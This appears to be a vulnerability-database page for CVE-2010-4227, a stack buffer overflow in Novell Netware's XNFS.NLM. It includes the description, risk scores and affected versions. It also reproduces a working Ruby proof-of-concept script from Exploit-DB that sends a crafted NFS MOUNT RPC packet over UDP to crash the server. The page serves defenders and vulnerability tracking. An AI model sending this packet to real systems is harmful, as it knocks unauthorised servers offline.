VIR Vulnerability Intelligence Relay

CVE-2010-4227

critical
Published 2011-02-25 · Modified 2026-04-29
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CVSS v3
—
CVSS v4 NEW
—
not yet in upstream
VIR risk
10.0

Description

The xdrDecodeString function in XNFS.NLM in Novell Netware 6.5 before SP8 allows remote attackers to cause a denial of service (abend) or execute arbitrary code via a crafted, signed value in a NFS RPC request to port UDP 1234, leading to a stack-based buffer overflow.

Predictions

Exploit likelihood
20%
Patch ETA
—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-16234 dos netware verified ruby · 1 KB
Francis Provencher · 2011-02-24

Novell Netware - RPC XNFS xdrDecodeString

ruby exploit Source: Exploit-DB 
#!/usr/bin/ruby

# Source:
# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24

require 'socket'

netware_server = (ARGV[0])
target_port = (ARGV[1] || 1234)


beepbeep=
"\x1c\xd1\xef\xab"  + # XID
"\x00\x00\x00\x00" + # Message Type: Call (0)
"\x00\x00\x00\x02" + # RPC Version: 2
"\x00\x01\x86\xa5" + # Program: 10005 MOUNT
"\x00\x00\x00\x02" + # Program Version: 2
"\x00\x00\x00\x01" + # Procedure: MNT  (1)
"\x00\x00\x00\x00\x00\x00\x00\x00" + #
"\x00\x00\x00\x00\x00\x00\x00\x00" + #Verifier NULL
"\x41\x42\x43\x44"




puts "[+] beep beep\n"
puts "[+]No, it's not the road runner\n"


if (!(netware_server && target_port))
    puts "Usage: PRL-2011-04.rb host port (default port: 1234)\n"
    exit
else
    puts "[+]Sending UDP Packet...\n"
    sock = UDPSocket.open
    sock.connect(netware_server, target_port.to_i)
    sock.send(beepbeep, 0)
end

Application impact
VendorProductVersionsFixed
suse novellnetware{"endIncluding":"6.5"}
suse novellnetware6.5

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.